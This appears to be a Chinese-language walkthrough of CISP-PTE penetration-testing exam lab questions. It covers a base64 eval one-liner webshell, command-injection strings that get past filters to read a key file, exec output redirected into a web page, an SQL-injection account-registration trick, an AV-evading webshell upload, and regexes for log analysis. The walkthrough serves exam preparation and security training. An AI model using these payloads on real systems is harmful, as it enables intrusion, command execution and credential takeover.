
接下来就是代码审计了
isset()函数用于检测变量是否已设置并且非 NULL
代码中base64解码出来是一个base64的一句话木马
[@eval(base64_decode($_POST[z0]));]
根据代码,需要我们提交一个Hello参数,参数的值为多少都行,然后我们可以通过提交z0参数的base64值进行执行命令
先用phpinfo(); 试一下:

发现执行成功
那么直接写个查看key文件的系统命令(记得最后要加分号)
system(‘cat …/key.php’);

在源代码中找到key

代码审计


既然是代码审计,那就直接看代码
如果我们给cmd赋值并且长度小于等于30,exec就会执行我们的命令
但要注意,exec只会执行命令,不会返回结果
对于这种情况,我们可以使用重定向符,将命令执行的内容重定向到一个文件中,我们通过访问这个文件就可以看到命令执行的结果了,先来个ls试试
http://11.1.10.11:34034/start/vul.php?cmd=ls > x.html
直接发现key

命令执行


127.0.0.1|ls 失败
127.0.0.1| 失败
看来是直接把管道符给过滤了
我们尝试使用 &&
127.0.0.1 && ls 失败
难道&&也过滤了?
127.0.0.1 && 没有显示失败
说明 && 没有被过滤,是ls被过滤了
127.0.0.1 && pwd 成功

最后发现是过滤了php ,太坑了
使用星号进行匹配,成功得到key
127.0.0.1 && sed ’ ’ …/key.ph*

第四套题目
34021-34025 34214
SQL注入
和第三套题差不多,只不过将admin’# 给注册了,我们在#后面随便加点字符串就行了
注册一个admin’#123 登录后修改的密码就是admin的密码

文件上传
和上套题一样, 使用免杀马进行上传php文件,使用蚁剑进行连接


文件包含
和上套题一样的
直接访问被包含的文件,源代码发现有代码,通过代码审计,执行命令
Hello=1&z0=c3lzdGVtKCdjYXQgLi4va2V5LnBocCcpOw==

日志分析

日志分析,我们要筛选出状态码为200 的日志,推荐使用正则的方式进行筛选
(一定要注意空格,没有空格的地方不要加空格,否则匹配不上)
^.*“[A-Z]+ /.*.php.*” 200
匹配后有289条,还是有点多,大概看了一下,有很多index、manager、footer、upload的路径,访问这四个路径后,发现均没有可以利用的地方,所以我们修改正则,将这四个路径去掉
?!index 表示不匹配index
^.*“[A-Z]+ /(?!(index|manage|footer|upload)).*.php.*” 200
匹配到了126条,发现匹配到了index,原来有的index前面有两个/ ,我们知道一个/和两个/访问的都是同一个页面,所以我们使用 /? 将两个/的index也筛选掉
/? 表示/可能有可能没有
^.*“[A-Z]+ /(?!/?(index|manage|footer|upload)).*.php.*” 200
正则筛选后就只剩下四条了
本文详述了CISP-PTE的八套真题中的部分内容,重点解析了第四套题目,涉及SQL注入、文件上传、文件包含、命令执行和代码审计等网络安全问题。通过实例演示了如何利用PHP命令执行漏洞获取key,以及如何通过正则表达式进行日志分析。同时,文章还提及了学习网络安全的资源和成长路线。
最低0.47元/天 解锁文章
1557

被折叠的 条评论
为什么被折叠?



